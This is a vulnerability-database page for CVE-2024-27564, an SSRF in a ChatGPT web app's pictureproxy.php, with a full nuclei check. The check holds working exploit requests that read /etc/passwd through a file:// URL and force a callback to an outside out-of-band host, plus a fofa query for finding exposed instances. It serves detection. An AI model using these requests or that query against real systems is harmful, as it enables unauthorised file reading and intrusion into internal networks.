Browse / CVEs / CVE-2024-27564
CVE-2024-27564· chanzhaoyu / chatgpt web
ChatGPT个人专用版 - Server Side Request Forgery
highseverity
40.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.
Impact
Attackers can force the application to make arbitrary requests including reading local files and accessing internal resources via SSRF in the pictureproxy.php file.
Fix
Update ChatGPT个人专用版 to a version that addresses CVE-2024-27564.
How to confirm it
Send: GET {{BaseURL}}/pictureproxy.php?url=file:///etc/passwd ; GET {{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}
Positive when: status_code == 200 and contains(header, "image/jpeg") and regex('root:.*:0:0:', body) OR contains(interactsh_protocol, "dns") and contains(header, "image/jpeg") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-27564 -u <target>
The full check
id: CVE-2024-27564
info:
name: ChatGPT个人专用版 - Server Side Request Forgery
author: DhiyaneshDK
severity: high
description: |
A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.
impact: |
Attackers can force the application to make arbitrary requests including reading local files and accessing internal resources via SSRF in the pictureproxy.php file.
remediation: |
Update ChatGPT个人专用版 to a version that addresses CVE-2024-27564.
reference:
- https://github.com/dirk1983/chatgpt/issues/114
- https://nvd.nist.gov/vuln/detail/CVE-2024-27564
classification:
epss-score: 0.40637
epss-percentile: 0.98664
cpe: cpe:2.3:a:chanzhaoyu:chatgpt_web:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: chanzhaoyu
product: chatgpt_web
fofa-query: "title=\"ChatGPT个人专用版\""
tags: cve,cve2024,chatgpt,ssrf,oast,oos,lfi,vkev,vuln,ai
http:
- method: GET
path:
- "{{BaseURL}}/pictureproxy.php?url=file:///etc/passwd"
- "{{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(header, "image/jpeg")
- regex('root:.*:0:0:', body)
condition: and
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
- contains(header, "image/jpeg")
- status_code == 200
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from